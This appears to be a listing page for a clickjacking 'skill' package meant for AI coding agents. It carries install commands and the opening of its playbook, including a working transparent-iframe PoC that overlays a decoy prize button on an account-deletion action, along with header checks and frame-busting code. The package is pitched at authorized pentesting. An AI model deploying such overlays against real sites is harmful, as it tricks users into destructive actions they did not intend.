## What it does

The skill treats clickjacking as a UI redress attack: the target page loads in a transparent iframe on top of the attacker's page, so the victim sees one button and clicks another. It ships HTML PoC templates, from a single click to multi-step flows with a confirmation dialog and drag-and-drop between iframes.

Detection gets its own section. You get the header values that matter for `X-Frame-Options` and the `frame-ancestors` directive in CSP, plus the reason the latter overrides the former in modern browsers. JavaScript frame-busting is covered too, along with the `sandbox` attribute trick that skips `allow-top-navigation`, the deprecated `ALLOW-FROM` behaviour, and double-framing through a same-origin page that has no XFO.

Then comes the target list where one click costs the most: account deletion, password change, admin panel actions, payment confirmation, the OAuth Allow button, disabling two-factor authentication. This is a pentest tool, so point it at your own app or at a target you have written permission to test — running it against someone else's site is not a grey area.

## Install

### Claude Code (native platform)

1. **Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill clickjacking -a claude-code
```

2. **Manually: put the files in place**
- File: `~/.claude/skills/clickjacking/SKILL.md` — Copy the whole skill folder; for one project use .claude/skills/clickjacking/

### Codex

1. **Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill clickjacking -a codex
```

2. **Manually: put the files in place**
- File: `.agents/skills/clickjacking/SKILL.md` — For all projects use ~/.agents/skills/

### Cursor

1. **Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill clickjacking -a cursor
```

2. **Manually: put the files in place**
- File: `.cursor/skills/clickjacking/SKILL.md` — Cursor also reads .agents/skills/ and .claude/skills/

### GitHub Copilot

1. **GitHub CLI**
```bash
gh skill install yaklang/hack-skills clickjacking
```

2. **Manually: put the files in place**
- File: `.github/skills/clickjacking/SKILL.md`

### Gemini CLI

1. **Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill clickjacking -a gemini-cli
```

2. **Platform CLI**
```bash
gemini skills install https://github.com/yaklang/hack-skills --path skills/clickjacking
```

### Windsurf (Devin Desktop)

**Manually: put the files in place**
- File: `.devin/skills/clickjacking/SKILL.md` — The legacy .windsurf/skills/ path still works

### OpenCode

**Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill clickjacking -a opencode
```

### Claude.ai

**Claude.ai**
- Zip the folder and upload it in Settings → Capabilities → Skills

Where a file is given instead of a command, copy the files from the source to that path: https://github.com/yaklang/hack-skills/tree/HEAD/skills/clickjacking/SKILL.md

## When to use it
- check whether a sensitive page loads inside a third-party iframe
- tell apart what actually protects a page: `X-Frame-Options` or CSP `frame-ancestors`
- build a single-click PoC for a vulnerability report
- bypass a JavaScript frame-busting script with the `sandbox` attribute
- assess the risk of multi-step actions that ask for confirmation

## Example prompts
- check /account/settings for clickjacking: look at X-Frame-Options and CSP frame-ancestors
- build an HTML PoC that frames /admin/action and overlays a transparent iframe on a button
- the page has a frame-busting script — show me how to bypass it with sandbox

# SKILL: Clickjacking — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Clickjacking (UI redress) techniques. Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities. Often a "low severity" finding that becomes critical when targeting admin actions.

## 1. CORE CONCEPT

Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page. The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions.

```html
<style>
  iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
  .decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style>
<div class="decoy"><button>Click to win a prize!</button></div>
<iframe src="https://target.com/account/delete?confirm=yes"></iframe>
```

## 2. DETECTION — IS THE PAGE FRAMEABLE?

### Check X-Frame-Options Header

```
X-Frame-Options: DENY           → cannot be framed (secure)
X-Frame-Options: SAMEORIGIN     → only same-origin framing (secure for cross-origin)
X-Frame-Options: ALLOW-FROM uri → deprecated, browser support inconsistent
(header absent)                  → frameable! (vulnerable)
```

### Check CSP frame-ancestors

```
Content-Security-Policy: frame-ancestors 'none'        → cannot be framed
Content-Security-Policy: frame-ancestors 'self'         → same-origin only
Content-Security-Policy: frame-ancestors https://a.com  → specific origin
(directive absent)                                       → frameable
```

**CSP frame-ancestors supersedes X-Frame-Options** in modern browsers.

### Quick PoC Test

```html
<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>
```

If the page loads in the iframe → frameable → potentially vulnerable.

### JavaScript Frame Detection (from target page source)

```javascript
// Common frame-busting code found in target pages:
if (top.location.hostname !== self.location.hostname) {
    top.location.href = self.location.href;
}
```

If this code is present but not using CSP `frame-ancestors`, it can often be bypassed.
